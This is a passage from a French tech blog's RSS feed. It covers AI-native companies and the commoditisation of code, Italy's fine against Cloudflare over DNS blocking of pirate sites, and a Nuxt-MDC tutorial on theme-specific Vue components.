<p>Dit autrement, je dois désormais arbitrer entre prendre un produit sur étagère qui me coute peut-être entre 100 et 1000 euros par mois, et le fait de mobiliser un(e) ingénieur pendant une journée pour reproduire uniquement les fonctionnalités qui m&#39;intéressent et à cela, je dois inclure le cout du run.</p>
<p>Et ça, c&#39;est un énorme défi en perspective qui doit être pris en compte par chaque créateur de logiciel, et encore plus de SAAS.</p>
<p><strong>La capacité à produire du code, n&#39;est plus un avantage compétitif.</strong></p>
<p>Si le code devient une commodité, est-ce que tous les SAAS sont voués à disparaître. Évidemment que non, mais on va illustrer ce point.</p>
<p>J&#39;ai vu récemment passer deux initiatives pour reproduire Linkedin et qui ont été produit avec l&#39;IA :</p>
<ul>
<li><a href="https://nolto.social/">https://nolto.social/</a> très prometteur, basé sur activitypub, self hostable, open source, et démarré avec lovable.dev (un assistant de code IA)</li>
<li><a href="https://ponos-job.eu/">https://ponos-job.eu/</a>, plus simple, également open source, construit aussi avec IA.</li>
</ul>
<p>Ces deux softs montrent qu&#39;on peut refaire désormais avec des équipes de une ou deux personnes des logiciels très complets.</p>
<p>Pour reprendre une analogie que j&#39;ai vu plusieurs fois sur internet, si la production de logiciel avant, était une construction puis un assemblage lent et méticuleux de briques, aujourd&#39;hui, on peut coder rapidement des murs entiers.
Ce qui limite un développeur, c&#39;est sa compréhension métier. Mais plus un soft est connu et documenté, plus on peut rétro ingénierer facilement cette connaissance quand on a la tête bien faite et une connaissance fonctionnelle du métier.</p>
<p>Mais ici la barrière pour remplacer Linkedin, c&#39;est pas le code en soi.</p>
<p>Avec l&#39;IA, on est passé d&#39;une économie de la rareté de la production (coder était difficile et cher) à une économie de la rareté de la confiance et de la distribution. Linkedin va garder, pour l&#39;instant, cet avantage sur ces deux initiatives.</p>
<p>Et il existe d&#39;autres barrières qui restent efficaces :</p>
<ul>
<li>l&#39;accès exclusif à une donnée bien spécifique (Exemple Palantir)</li>
<li>l&#39;effet réseau. C&#39;est ce qui protége Linkedin, Whatsapp ou X. Certains logiciels n&#39;ont d&#39;intérêt que s&#39;ils sont utilisés par d&#39;autres.</li>
<li>des accréditations ou certifications réglementaires qui donnent accès à des marchés protégés (exemple le bancaire ou le militaire)</li>
<li>l&#39;implantation dans un écosystème (si un logiciel est déjà intégré et référencé au sein d&#39;un écosystème existant, c&#39;est dur de l&#39;enlever sans perdre toutes ces intégrations, par exemple Jira, Salesforce ou Okta)</li>
<li>la donnée captive (c&#39;est proche du point précédent, nos données peuvent être &quot;otages&quot; d&#39;un logiciel ce qui rend la sortie difficile</li>
<li>la garantie de service (ça rejoint le fait de supporter le run, mais pour certains logiciels, on est prêt à payer pour ne pas endosser la responsabilité)</li>
<li>un réseau physique, par exemple cloudflare ou amazon qui possèdent des datacenters. Forcément le physique est non réplicable.</li>
</ul>
<p>Certains de ces items sont directement liés aussi à la capacité de distribution.
Par exemple, je peux créer un ersatz de Slack ou Teams, mais je n&#39;ai pas la capacité de distribution (force commerciale et intégration dans un écosystème) de Microsoft ou Salesforce pour le faire se diffuser partout.</p>
<p>Ceux qui ont la donnée (qu&#39;ils l&#39;achètent ou l&#39;accumulent) gardent l&#39;avantage. Parce qu&#39;ils sont aussi capable de résoudre plus de cas d&#39;usage. Et c&#39;est pas étonnant que l&#39;accès à cette donnée soit protégé.
À l&#39;inverse ceux qui ne font que manipuler et afficher de la donnée sont en danger.</p>
<p>Au delà de ca, je pense qu&#39;on assiste à une nouvelle génération d&#39;entreprise, les IA natives.</p>
<h2>Des cloud natives aux IA natives</h2>
<p>J&#39;ai connu l&#39;ère Cloud native en créant Malt en 2012.</p>
<p>Ça voulait dire qu&#39;on n&#39;avait rien en propre, pas de serveur, pas de bureaux. Tout était décentralisé et éclaté. C&#39;était une entreprise purement online. Chaque brique de l&#39;entreprise était un SAAS sur étagère.</p>
<p>Avec cette dématérialisation à outrance, les entreprises Cloud natives sont devenu liquides, facile à modifier et faire évoluer.
La gestion des ressources se faisait par de la location. Je louais un service et je pouvais en changer &quot;facilement&quot;, modulo des couts d&#39;intégration bien sûr, sans devoir gérer avec des équipes internes, des réaffectations de serveurs etc...</p>
<p>L&#39;informatique est devenu une forme de Lego géant.</p>
<p>Et pour moi, qui avait connu les entreprises non cloud natives, qui est allé coder en salle serveur directement pour reprendre la main sur une machine défaillante, ou qui a subi des pannes de clim en salle serveur ayant fait tomber toute l&#39;infra, la différence est flagrante. De même, je suis passé d&#39;une époque ou demander un serveur de CI pouvait prendre littéralement 3 mois, avec des formulaires d&#39;ouverture réseau à n&#39;en plus finir, à un simple click sur une interface.</p>
<p>Être cloud native c&#39;est devenu aussi naturellement une facon simple d&#39;épouser des concepts modernes de sécurité, comme le Zero Trust architecture qui est par définition impossible à éviter dans ce contexte. Vous ne pouvez pas faire confiance au réseau puisque votre réseau interne, <strong>c&#39;est</strong> Internet.
C&#39;est devenu un avantage lors de la crise covid. Je n&#39;ai pas connu, comme certaines boites, le fait de devoir faire des rotations sur les heures de login le matin parce que le réseau interne et le VPN d&#39;entreprise n&#39;était pas dimensionné pour autant d&#39;accès externes. Je n&#39;ai pas connu l&#39;obligation de revenir au bureau pour récupérer du courrier, ou revalider mon pc sur le réseau interne de la boite.</p>
<p>Et je peux vous dire que j&#39;ai vu passer des gens dans la boite qui venaient de boites traditionnelles et qui n&#39;ont jamais réussi à comprendre cette culture, toujours à se questionner sur le nombre de services utilisé par la boite et incapable d&#39;appréhender la vraie nature de ce que nous étions.</p>
<p>Je sais que c&#39;est encore dur, même aujourd&#39;hui, de faire prendre conscience que le Cloud a littéralement été l&#39;un des moteurs majeurs de la tech sur la décennie 2010. Beaucoup voient dans le cloud une simple entourloupe marketing, le fait de déplacer ses serveurs chez quelqu&#39;un d&#39;autre, une simple infogérance. En 2026 il y a encore beaucoup d&#39;entreprises qui ne sont pas cloud natives.
Et c&#39;est normal. On ne passe pas d&#39;un monde à l&#39;autre d&#39;un claquement de doigt, si même c&#39;est possible.</p>
<p>Quand je dis que ça a été moteur, il faut comprendre que ça a créé de la souplesse et donc de la vitesse, vitesse qui a été déterminante pour toutes les boites post 2008 (en France, Blablacar, doctolib, Malt, Backmarket etc..).
Ce changement technologique a aussi permis de créer beaucoup d&#39;opportunités pour reconstruire des services existants, mais sous forme de briques en ligne (les fameux SAAS).</p>
<p>Mais aujourd&#39;hui, on voit apparaitre des entreprises IA natives. Des entreprises pour lesquelles la production de code est devenu une commodité. La capacité de production a drastiquement augmenté.</p>
<p>Si le Cloud Native a &quot;simplifié&quot; l&#39;infrastructure, l&#39;IA est en train de &quot;simplifier&quot; la mise en œuvre.</p>
<p>(* Et oui, je sais, simplifier est sans doute un mauvais terme parce que faire tourner dans le cloud, ou produire du code de bonne qualité avec une IA n&#39;est pas si simple que ça)</p>
<ul>
<li>2010 : On a tué la complexité de l&#39;infra (le hardware).</li>
<li>2024+ : On tue la complexité de l&#39;implémentation (le software).</li>
</ul>
<p>Conséquence : Le développeur &quot;IA Native&quot; devient un architecte d&#39;intention plutôt qu&#39;un ouvrier du code.</p>
<table>
<thead>
<tr>
<th align="left">Ère</th>
<th align="left">Modèle Dominant</th>
<th align="left">Focus Technique</th>
<th align="left">Ressource Rare (Le MOAT)</th>
</tr>
</thead>
<tbody><tr>
<td align="left"><strong>2000&#39;s</strong></td>
<td align="left"><strong>On-Premise</strong></td>
<td align="left">Posséder l&#39;infrastructure (Serveurs, Baies, Clim)</td>
<td align="left">Le Capital et la Licence propriétaire</td>
</tr>
<tr>
<td align="left"><strong>2010&#39;s</strong></td>
<td align="left"><strong>Cloud Native</strong></td>
<td align="left">Assembler des briques (API, SaaS, Lego géant)</td>
<td align="left">Les développeurs</td>
</tr>
<tr>
<td align="left"><strong>2024+</strong></td>
<td align="left"><strong>IA Native</strong></td>
<td align="left">Diriger l&#39;intention (BBRV, Génération de code)</td>
<td align="left">La Donnée, l&#39;Effet de réseau, la confiance, la capacité de distribution</td>
</tr>
</tbody></table>
<h2>Le choc culturel</h2>
<p>De la même façon qu&#39;avec le Cloud, l&#39;IA va créer de nombreuses opportunités. Je suis prêt à parier qu&#39;on va voir de plus en plus des initiatives (comme celle de linkedin cité plus haut) où des softs déjà existants vont se faire totalement recréer par des entreprises avec 10 ou même 100x moins de gens, sans parler des nombreux projets open source qui vont eux-aussi naitre pour remplacer des softs &quot;commoditaire&quot;, comme par exemple la gestion des feature flags dont je parlais plus haut.</p>
<p>Donc ça, c&#39;est le premier choc. Il faut s&#39;attendre à voir émerger beaucoup de compétiteurs très rapides dans les années qui arrivent face à des softs bien établis.</p>
<p>Mais il existe un corrolaire de ça, car de la même façon qu&#39;en 2026 on a encore beaucoup d&#39;entreprises non cloud natives et qui ne le seront jamais, beaucoup d&#39;entreprises ne deviendront pas IA natives sans heurts.</p>
<p>Oui certains softs vont garder de l&#39;avance, mais une entreprise IA native va pouvoir lutter sur les prix (le cout de production étant moindre) ou faire plus de marge, donc plus d&#39;investissement.</p>
<p>Comme je le disais juste avant, j&#39;imagine peu de boites &quot;non IA natives&quot; devenir IA natives, parce que ça aurait des impacts sociaux dans l&#39;entreprise gigantesques.
C&#39;est une question de culture, la culture étant la facon dont on répond systématiquement à un problème donné.
Une boîte IA Native ne cherche pas à réduire ses coûts de 20%, elle cherche à opérer avec une structure de coût fondamentalement différente (10x ou 100x moins de staff pour le même résultat).</p>
<p>Bref, c&#39;est pas &quot;juste&quot; les boites qui font de l&#39;IA qui vont représenter la nouvelle génération de startups post 2020, mais sans doute aussi tout un tas de petites entreprises très lean, avec peu de gens et qui vont frapper de plein fouet de nombreux business bien établis.</p>
<p>Et s&#39;il y a un profil qui devrait tirer son épingle du jeu, c&#39;est le Product engineer : la personne capable de comprendre les problèmes à résoudre et de se mettre à la place de l&#39;utilisateur.</p>
<p>Et vous, dans vos roadmaps actuelles, quelle portion de votre logiciel est déjà devenue une &quot;commodité&quot; que l&#39;IA pourrait reconstruire en un week-end ? Quel est le vrai rempart qui vous restera demain ?</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390164-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Cloudflare vs l'Italie : quand le blocage DNS devient un champ de bataille géopolitique]]></title>
            <link>https://eventuallycoding.com/p/2026-01-cloudflare-vs-italie</link>
            <guid>https://eventuallycoding.com/p/2026-01-cloudflare-vs-italie</guid>
            <pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[L'Italie demande à Cloudflare de bloquer des sites pirates. Cloudflare refuse et invoque le free speech. Mais derrière ce bras de fer, c'est notre dépendance à la tech US qui se révèle.]]></description>
            <content:encoded><![CDATA[<p>D&#39;un côté, un régulateur italien qui veut bloquer des sites pirates en 30 minutes, sans juge. De l&#39;autre, un CEO américain qui crie au free speech tout en soutenant une administration qui a banni le mot &quot;femme&quot; des sites gouvernementaux.</p>
<p>Ce débat est loin d&#39;être anodin et spoiler : il n&#39;y a pas de gentils dans cette histoire.</p>
<h2>Blocage DNS et désaccords</h2>
<p>Vous n&#39;avez peut-être pas suivi l&#39;affaire mais l&#39;Italie vient d&#39;infliger <a href="https://www.lesnumeriques.com/societe-numerique/l-italie-attaque-cloudflare-14-millions-d-euros-d-amende-pour-avoir-protege-70-des-sites-pirates-n249593.html">une amende record de 1% du CA mondial de Cloudflare</a> pour ne pas avoir agi et bloqué des sites pirates. </p>
<p>Cloudflare a en effet refusé. </p>
<p>Pour comprendre l&#39;enjeu, il faut d&#39;abord parler DNS. Un DNS, c&#39;est un registre d&#39;adresses d&#39;Internet, une sorte de gros index qui fait la liaison entre un nom de domaine et une adresse IP. Un peu comme un annuaire qui fait le lien entre votre nom de famille et votre adresse physique.</p>
<p>Les blocages DNS sont souvent critiqués, car ils soulèvent plusieurs problèmes :</p>
<p>Le premier, c&#39;est la performance. Un DNS se doit d&#39;être le plus efficace possible au risque de ralentir l&#39;ensemble du net. C&#39;est l&#39;une des couches réseau les plus basses et on ne peut pas se permettre de mettre trop de logique applicative dedans. Par exemple, on veut éviter de tester si cette adresse fait partie d&#39;une liste de sites non autorisés, d&#39;autant plus si on veut le faire par pays d&#39;origine du visiteur.</p>
<p>Et justement, cette notion d&#39;origine du visiteur a de l&#39;importance. Si l&#39;Italie décide de bannir un site, ce n&#39;est pas pour autant que cette décision doit s&#39;appliquer en Australie ou au Japon. Donc en théorie, pour bien faire les choses, il faudrait considérer que le pays d&#39;origine du visiteur influe sur la réponse du DNS. </p>
<p>Cloudflare invoque 200 milliards de requêtes journalières qui passent par ses serveurs. Si on commence à avoir tout un tas de règles au niveau DNS, c&#39;est tout le trafic mondial qui serait potentiellement ralenti. En tout cas selon Cloudflare.</p>
<p>Sauf que cette excuse de la performance est mise à mal par un fait simple : Cloudflare sait déjà faire ça. Ils le font sur leur DNS &quot;famille&quot; (1.1.1.3) qui filtre le contenu adulte et les malwares. Donc techniquement, le savoir-faire existe.</p>
<p>Au-delà des critiques sur la performance, on peut reprocher aux blocages DNS de manquer de finesse. Si un utilisateur d&#39;un service partagé comme Youtube se faisait bannir, c&#39;est le domaine entier qui se retrouverait bloqué. On ne peut pas juste bannir une chaîne.</p>
<p>Et enfin, si on commence à avoir des règles de ce type au niveau DNS, c&#39;est la première porte ouverte à une fragmentation du réseau. Ça commence à ressembler au grand firewall chinois.</p>
<h2>Ce n&#39;est pas qu&#39;un problème italien</h2>
<p>Le sujet des blocages DNS n&#39;est pas une spécificité italienne.</p>
<p>En France, <a href="https://www.webpronews.com/french-court-orders-google-to-block-19-pirate-domains-via-dns/">Canal+ a les mêmes demandes face à Google, Cloudflare et Cisco</a> pour essayer de lutter contre le streaming sportif. On retrouve <a href="https://torrentfreak.com/opendns-quits-belgium-under-threat-of-piracy-blocks-or-fines-of-e100k-per-day-250416/">le même conflit en Belgique</a>.</p>
<p>À l&#39;inverse, <a href="https://blog.cloudflare.com/latest-copyright-decision-in-germany-rejects-blocking-through-global-dns-resolvers/">l'Allemagne a jugé disproportionnée le blocage DNS</a> et a rejeté les demandes faites en ce sens. 
Enfin, c&#39;est uniquement la cour de Cologne, et rien ne dit que ça ne pourrait pas évoluer dans le futur.</p>
<h2>Les alternatives au blocage DNS</h2>
<p>Maintenant quelles seraient les alternatives si on voulait vraiment bloquer du contenu ? Est-ce qu&#39;il y en a d&#39;autres que de passer par les serveurs DNS ? </p>
<p><strong>Le registrar</strong> : on peut demander au registrar de suspendre un domaine. Un registrar, c&#39;est l&#39;entité qui attribue les noms de domaines et c&#39;est localisé. Les .fr sont attribués par une entité juridique française, les .de par une entité allemande. Un juge peut imposer une décision à un registrar français facilement. Mais c&#39;est plus dur de le faire appliquer sur d&#39;autres registrars. Et je rappelle que les .com, .org etc. sont gérés aux US. En pratique on retrouvera rarement, voire jamais, des sites pirates sur un .fr ou un .it. Ce serait beaucoup trop simple d&#39;aller toquer à leur porte.</p>
<p><strong>Les FAI</strong> : en France, on a des censures au niveau des fournisseurs d&#39;accès internet, qui ont chacun des résolveurs DNS. C&#39;est moins impactant que de taper sur un Cloudflare parce qu&#39;un FAI est forcément national par défaut. Il y a moins cette notion d&#39;extraterritorialité. Mais ça se contourne plus facilement aussi, même s&#39;il faut être un utilisateur avancé pour changer son DNS.</p>
<p><strong>Le déréférencement</strong> : chaque moteur de recherche sait supprimer des URLs pour un territoire donné. Un juge peut faire une demande pour interdire le référencement d&#39;un site. C&#39;est efficace, même si ça n&#39;empêche pas de taper l&#39;URL du site directement.</p>
<p><strong>Le blocage par IP</strong> : c&#39;est radical, ça peut s&#39;effectuer au niveau des FAI ou au niveau pays directement au niveau des points d&#39;échanges internationaux. Mais c&#39;est globalement une mauvaise idée, ça manque totalement de finesse. C&#39;est comme ça que l&#39;Italie a réussi à bloquer Google Drive il y a quelques mois.</p>
<p><strong>Couper les sources de revenus</strong> : la solution ultime, c&#39;est de passer directement par Visa ou Mastercard. Ça a été fait dans les affaires Wikileaks, Megaupload et même Pornhub en 2020. Mais c&#39;est en pratique plutôt une prérogative américaine puisque Visa et Mastercard sont des entreprises US, et ça reste très exceptionnel.</p>
<p><strong>Le signalement à l&#39;hébergeur</strong> : c&#39;est une solution qui fonctionne bien pour les sites qui ont un hébergeur localisé. Je donnais l&#39;exemple de Youtube plus haut, on peut effectivement signaler un contenu qui enfreint les conditions d&#39;utilisation de la plateforme. C&#39;est possible également de saisir un hébergeur, comme OVH etc... Mais là encore, on pourra être limité par la juridiction dont dépend l&#39;hébergeur en question.</p>
<p>Ce qu&#39;on peut en conclure c&#39;est qu&#39;il n&#39;existe pas de solutions parfaites et c&#39;est souvent un mix qui utilisé en fonction des compromis que l&#39;on peut faire. </p>
<h2>Neutralité du réseau ?</h2>
<p>Concernant les DNS, le vrai débat dépasse la simple technique. </p>
<p>Est-ce qu&#39;on accepte de &quot;casser&quot; des morceaux d&#39;infrastructure &quot;neutre&quot; pour un gain marginal contre le piratage, ou est-ce qu&#39;on considère que c&#39;est une ligne rouge ?</p>
<p>L&#39;Allemagne a plutôt dit non. L&#39;Italie et la France disent oui.</p>
<p>J&#39;ai du mal à avoir un avis tranché et absolu, mais j&#39;ai l&#39;impression qu&#39;on met le doigt dans un engrenage dangereux.</p>
<p>Aujourd&#39;hui c&#39;est le piratage qui sert de prétexte. Demain, ce sera peut-être des sites d&#39;opposants politiques, comme en Russie ou en Turquie, ou des sites de lanceurs d&#39;alertes, comme Wikileaks dans le passé.</p>
<p>Qui va définir ce qui est acceptable ou pas ? En théorie la réponse est simple, le droit et la justice.</p>
<p>Et c&#39;est justement là où le bât blesse en France ou en Italie. Ce n&#39;est pas le droit qui tranche, mais une autorité administrative. Le Piracy Shield italien exige un blocage en 30 minutes sans contrôle judiciaire. En France, c&#39;est pareil, l&#39;ARCOM peut demander une coupure auprès des FAI, sans jugement.</p>
<p>Cette absence de contrôle et de recours, cette notion de précipitation aussi — on parle de 30 minutes pour décider d&#39;un blocage national — c&#39;est exactement ce genre de dispositif qui peut servir à faire un blackout total comme en Iran récemment.</p>
<p>Mais inutile d&#39;aller en Iran ou en Turquie : on pourrait citer le cas de l&#39;interdiction de TikTok en Nouvelle-Calédonie en 2024 lors des manifestations. C&#39;est une décision administrative qui a ensuite été considérée illégale au regard du droit par le Conseil d&#39;État. Mais il a fallu un an pour corriger le tir.</p>
<h2>La réponse de Matthew Prince, CEO de Cloudflare</h2>
<p>Changeons d&#39;angle et prenons le temps de lire <a href="https://x.com/eastdakota/status/2009654937303896492?s=46">la réponse de Matthew Prince, CEO et cofondateur de Cloudflare, sur Twitter</a>.</p>
<p>Le début, c&#39;est ce qu&#39;on vient de se dire : un rappel des faits avec une opposition entre la vision italienne (et globalement européenne) versus la vision technique défendue par Cloudflare qui ne veut pas s&#39;occuper de ça.</p>
<p>Maintenant, le tweet ne s&#39;arrête pas là. Et là, ça commence à déraper.</p>
<p>D&#39;abord, Cloudflare mentionne ce qu&#39;ils vont faire dans l&#39;immédiat : ne plus assurer la sécurité des futurs jeux olympiques à Milan (ça se discute, c&#39;était fourni gratuitement, quand tu te prends une amende d&#39;1% de ton CA mondial tu peux te vexer), couper les accès gratuits de tous les utilisateurs en Italie (un peu disproportionné), virer tous les serveurs d&#39;Italie (on sent l&#39;énervement), ne pas installer de bureau sur place (celle-là m&#39;a fait rire, on avait prévu mais finalement non, c&#39;est pas une vraie menace).</p>
<p>Ce qu&#39;il faut surtout noter c&#39;est qu&#39;on parle de mesures de rétorsions. On est dans le cas d&#39;une entreprise US qui menace un état Européen. </p>
<p>Mais c&#39;est le paragraphe suivant qui me titille :</p>
<blockquote>
<p>&quot;J&#39;apprécie que JD Vance prenne un rôle de leadership et s&#39;attaque à ce type de régulation qui constitue un problème fondamental d&#39;injustice commerciale et qui menace également les valeurs démocratiques. Et dans ce cas, @ElonMusk a raison : la liberté d&#39;expression (#FreeSpeech) est essentielle et est menacée par une cabale déconnectée de la réalité, composée de décideurs politiques européens très perturbés.&quot;</p>
</blockquote>
<p>Et là, le débat change de nature. On n&#39;est plus sur une question technique ou juridique. Quand le CEO de Cloudflare invoque JD Vance et Elon Musk pour parler de free speech, on entre dans autre chose.</p>
<h2>Le free speech à géométrie variable</h2>
<p>Il faut s&#39;attarder sur l&#39;ironie autour du free speech, parce que c&#39;est l&#39;argument massue souvent utilisé par le parti de Trump.</p>
<p>Je rappelle que Musk <a href="https://www.radiofrance.fr/franceinter/podcasts/veille-sanitaire/veille-sanitaire-du-lundi-20-mai-2024-5470688">utilise allègrement la censure sur sa propre plateforme</a> et qu&#39;il a accepté sans aucune réserve de censurer l&#39;opposition à Erdogan en Turquie en 2025 parce que ça servait son propre agenda.</p>
<p>Je pourrais aussi rappeler que l&#39;administration actuelle de Vance mais aussi de Musk, puisqu&#39;il en a fait partie, <a href="https://pen.org/banned-words-list/">a censuré plus de 350 mots de toute communication officielle</a>, dont les mots femme, changement climatique ou handicap.</p>
<p>Le free speech aux US, c&#39;est aussi le licenciement de plusieurs personnalités <a href="https://www.lesechos.fr/tech-medias/medias/lanimateur-jimmy-kimmel-prive-dantenne-apres-des-propos-sur-charlie-kirk-2186886">notamment dans les médias</a> pour ne pas être d&#39;accord avec le gouvernement actuel.</p>
<p>Donc free speech, c&#39;est un peu à géométrie variable. C&#39;est une hypocrisie.</p>
<p>D&#39;ailleurs, quand on creuse un peu, Cloudflare lui-même a fait de la censure en 2017 et en 2019 de son propre chef, sans aucune contrainte extérieure, dans les affaires <a href="https://blog.cloudflare.com/why-we-terminated-daily-stormer/">Daily Stormer</a> et <a href="https://blog.cloudflare.com/terminating-service-for-8chan/">8chan</a>. Donc le principe, ce n&#39;est pas &quot;on ne censure jamais&quot;, c&#39;est &quot;on censure quand nous on décide&quot;.</p>
<p>En fait, on peut mettre toute la novlangue possible et imaginable sur à peu près tous les sujets. Mais surtout, le free speech ici, c&#39;est un argument de négociation commerciale habillé en principe démocratique.</p>
<p>Et ça pose une question qu&#39;on ne peut plus ignorer : notre dépendance à ces infrastructures US, c&#39;est aussi une dépendance à leurs agendas politiques.</p>
<h2>Il n&#39;y a pas de gentils</h2>
<p>En bref, dans cette histoire, on peut tout autant remettre en question la légitimité de la méthode, c&#39;est-à-dire le blocage par une autorité administrative sans décision judiciaire.</p>
<p>On peut émettre une réserve sur les dérives possibles et probables de ces outils.</p>
<p>Et pour autant, on peut reconnaître que ce n&#39;est pas non plus très sain d&#39;avoir des dépendances aussi fortes à des entreprises américaines qui peuvent menacer directement des États de ne pas se conformer au droit local, qu&#39;il soit bien fait ou non, ET tout en ayant eux-mêmes leur propre agenda sur ce qui est acceptable ou non.</p>
<p>Il n&#39;y a pas de gentils ici ou de méchants. On a des choses à surveiller sur l&#39;usage généralisé du contrôle numérique par nos propres États. Mais on doit aussi ne pas tomber dans le piège de laisser d&#39;autres pays décider à notre place.</p>
<p>Il ne faut pas se leurrer. Non, la technologie n&#39;est pas neutre comme le prétend Matthew Prince. Et on voit bien que ceux qui contrôlent les tuyaux voudraient bien, eux aussi, décider de ce qui passe dedans. Et ce serait encore pire que de laisser cette décision à une autorité administrative, malgré toutes les critiques que je peux y faire.</p>
<p>Pour ma part j&#39;ai pris les devants en imaginant que Cloudflare pourrait avoir les mêmes conflits avec la France. J&#39;ai donc supprimé tout mes sites gérés sur Cloudflare et j&#39;utilise désormais Bunny.net pour les mêmes services.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390299-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Utiliser des composants customs avec Nuxt-mdc pour construire un système de thèmes]]></title>
            <link>https://eventuallycoding.com/p/2026-01-nuxt-mdc-renderer</link>
            <guid>https://eventuallycoding.com/p/2026-01-nuxt-mdc-renderer</guid>
            <pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment personnaliser les composants MDC par thème dans Nuxt avec MDCRenderer]]></description>
            <content:encoded><![CDATA[<p>Je crée une plateforme de blog (<a href="https://writizzy.com">Writizzy</a>), alternative à Ghost ou Substack.
Sous le capot j&#39;utilise Nuxt mais je n&#39;utilise pas nuxt-content pour avoir plus de souplesse donc j&#39;utilise directement le module <a href="https://nuxt.com/modules/mdc">Nuxt-Mdc</a>. Ce module permet de surcharger le markdown pour inclure des composants customs, par exemple des galeries d&#39;images, la capacité d&#39;insérer un lecteur YouTube etc...</p>
<p>Sauf que Writizzy propose des thèmes et on souhaite facilement pouvoir personnaliser les composants pour chaque thème.</p>
<p>Dans cet article je souhaite vous montrer comment utiliser Nuxt-Mdc pour ce cas de figure relativement commun.</p>
<h2>Nuxt-mdc</h2>
<p>Le module nuxt-mdc est utilisé par nuxt content mais il est possible de l&#39;utiliser directement pour interpréter du contenu markdown et l&#39;afficher en HTML. C&#39;est une brique fondamentale de Nuxt-Content mais heureusement exploitable en standalone.</p>
<p>Parmi les fonctionnalités de Nuxt-mdc, on peut utiliser des <a href="https://content.nuxt.com/docs/files/markdown#mdc-syntax">MDC components</a>.
Un MDC component est globalement un balisage markdown qui fera ensuite appel à un composant Vue pour l&#39;affichage.</p>
<p>Par exemple avec ce markup :</p>
<pre><code class="language-markdown">::card
The content of the card
::
</code></pre>
<p>On va demander à Nuxt-mdc d&#39;utiliser le composant Card pour rendre le bloc précédent.</p>
<p>C&#39;est aussi ce qu&#39;utilise Nuxt-mdc pour rendre tous les <a href="https://github.com/nuxt-content/mdc?tab=readme-ov-file#prose-components">Prose components</a>, qui correspondent aux composants customs : titres, liens, blockquote etc... créés suite au parsing markdown. En interne en effet, chaque balise standard de Markdown est transformée en MDC components, par exemple :</p>
<pre><code class="language-markdown">## un titre
</code></pre>
<p>est transformé en</p>
<pre><code class="language-markdown">::h2
un titre
::
</code></pre>
<p>(C&#39;est une simplification. En réalité, c&#39;est plutôt une substitution au niveau du renderer. Le renderer lit l&#39;arbre AST qui contient un noeud h2 et décide d&#39;utiliser le composant h2 pour le rendre. Mais on peut vulgariser comme ça)</p>
<p>Cette fonctionnalité permet à l&#39;utilisateur de Nuxt-Mdc de customiser l&#39;affichage de chaque MDC component, donc les Prose components aussi.</p>
<p>Pour surcharger un composant Prose ou pour proposer un composant custom, il suffit de les placer dans le répertoire app/components/mdc sur une application Nuxt.</p>
<p>Cependant, et si on souhaite que ces composants changent en fonction du thème sélectionné ? C&#39;est exactement la question que je me suis posée pour Writizzy.</p>
<h2>Un système de thème pour composants</h2>
<p>Sur Writizzy je développe un système de thème. On peut choisir l&#39;apparence de son blog parmi ceux listés ici : <a href="https://writizzy.com/docs/your-blog/themes">https://writizzy.com/docs/your-blog/themes</a>. J&#39;ai repris partiellement ce que j&#39;avais déjà fait pour <a href="https://bloggrify.com/recipes/theme-recipe">Bloggrify</a> (un projet opensource pour créer des blogs statiques).</p>
<p>Mais avec Writizzy j&#39;étais plutôt insatisfait de cette solution notamment pour les composants customs. C&#39;est évident que l&#39;apparence doit changer en fonction du thème.</p>
<p>Et il se trouve qu&#39;il existe une fonctionnalité non documentée dans Nuxt-Mdc qui permet exactement de faire cela.</p>
<p>Par défaut, la documentation conseille d&#39;utiliser le composant MDC pour afficher du markdown, par exemple :</p>
<pre><code class="language-vue">&lt;script setup lang=&quot;ts&quot;&gt;
const md = `
::alert
Hello MDC
::
`
&lt;/script&gt;

&lt;template&gt;
  &lt;MDC :value=&quot;md&quot; tag=&quot;article&quot; /&gt;
&lt;/template&gt;
</code></pre>
<p>Cependant MDC utilise lui-même MDCRenderer en arrière-plan. Et en regardant <a href="https://github.com/nuxt-content/mdc/blob/main/src/runtime/components/MDCRenderer.vue#L104-109">le code source de MDCRenderer</a>, on note une propriété intéressante : <code>components</code></p>
<p>Cette propriété permet de passer la liste des composants à utiliser.
Par défaut, MDCRenderer va rechercher dans cette liste, et sinon dans <code>components/mdc</code> donc on peut surcharger les composants qu&#39;on souhaite modifier :</p>
<pre><code class="language-vue">&lt;script setup lang=&#39;ts&#39;&gt;
const mdcComponents = {
  callout: TerminalCallout,
  blockquote: TerminalBlockquote,
  pre: TerminalCode
}
&lt;/script&gt;
&lt;template&gt;
  &lt;MDCRenderer 
    :body=&quot;ast.body&quot; 
    :data=&quot;ast.data&quot;
    :components=&quot;mdcComponents&quot;
  /&gt;
&lt;/template&gt;
</code></pre>
<p>Et voilà !</p>
<p>Désormais on peut personnaliser chaque composant en fonction du thème.</p>
<p>Cette approche fonctionne bien pour Writizzy et je compte l&#39;appliquer aussi à Bloggrify. Si vous utilisez Nuxt-MDC avec un système de thèmes, c&#39;est à mon avis la solution la plus propre — même si elle mériterait d&#39;être documentée officiellement.</p>
<p>J&#39;ai d&#39;ailleurs ouvert <a href="https://github.com/nuxt-content/mdc/issues/439">une issue</a> pour clarifier son statut. En attendant, ça fonctionne en production sur Writizzy sans souci.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390471-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Développeur à l’ère des agents IA : mutation, industrialisation et avenir du métier]]></title>
            <link>https://eventuallycoding.com/p/2026-01-engineering-job-mutation</link>
            <guid>https://eventuallycoding.com/p/2026-01-engineering-job-mutation</guid>
            <pubDate>Wed, 14 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[En 2025, les agents IA ont profondément transformé le développement logiciel. Revue de presse des impacts concrets sur le métier de développeur, entre industrialisation, expertise et renouveau.]]></description>
